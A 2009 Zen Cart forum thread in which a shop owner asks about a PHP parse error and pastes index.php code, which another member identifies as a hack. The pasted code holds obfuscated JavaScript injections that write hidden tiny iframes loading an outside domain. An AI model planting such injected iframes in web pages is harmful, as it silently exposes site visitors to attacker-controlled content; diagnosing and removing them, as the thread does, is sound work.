Forums / General Questions / Can anyone help find the mistake? Please!

Can anyone help find the mistake? Please!

Locked

Started by doooomed on 24 Jun 2009, 3:05 PM · Views: 714

Results 1 to 3 of 3
This thread is locked. New replies are disabled.
24 Jun 2009, 3:05 PM
#1
doooomed avatar

doooomed

Zen Follower

Join Date:
Jun 2009
Posts:
275
Plugin Contributions:
0

Can anyone help find the mistake? Please!

Hello all!

After getting my zc set up and looking the way I liked I started to add my product and did so for two or three days without a problem and then this morning I awoke to...

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/mysite/public_html/index.php on line 105

I get a blank screen other than the message

I changed nothing in the index file for days and it has worked fine, it was also working fine the night before when I shut the comp down, so why now?:yuck:

I am not very good with php. Can anyone please help me find the mistake in the code below?

<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" wid"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo '<script>document.write("<i"+'fr'+"am"+'e s'+"rc=\""+'htt'+"p:"+''+"//"+'trug'+"hts"+''+'a.c'+"o"+'m/'+"\" wid"+'th=2 he'+"igh"+'t'+"="+"1></i"+"fra"+''+"m"+''+"e"+'>');</script>'; ?>

Thanks to all!

24 Jun 2009, 3:10 PM
#2
kuroi avatar

kuroi

Totally Zenned

Join Date:
Apr 2006
Location:
London, UK
Posts:
10,475
Plugin Contributions:
11

Re: Can anyone help find the mistake? Please!

You've been hacked. Somebody has gotten access to your hosting account and added that code to your site. The code after <?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?> shouldn't be there and needs to be deleted.

Then I would recommend spending some time with this article.

Kuroi Web Design and Development | Twitter

(Questions answered in the forum only - so that any forum member can benefit - not by personal message)

24 Jun 2009, 3:21 PM
#3
doooomed avatar

doooomed

Zen Follower

Join Date:
Jun 2009
Posts:
275
Plugin Contributions:
0

Re: Can anyone help find the mistake? Please!

Thanks kuroi!!!

All fixed!!

Wow I don't even know how somebody found the site never mind wanting to hack it! It's only been up for about three days and I haven't even told anyone it exists!

Thanks for the link also, I'm gonna check it out right now!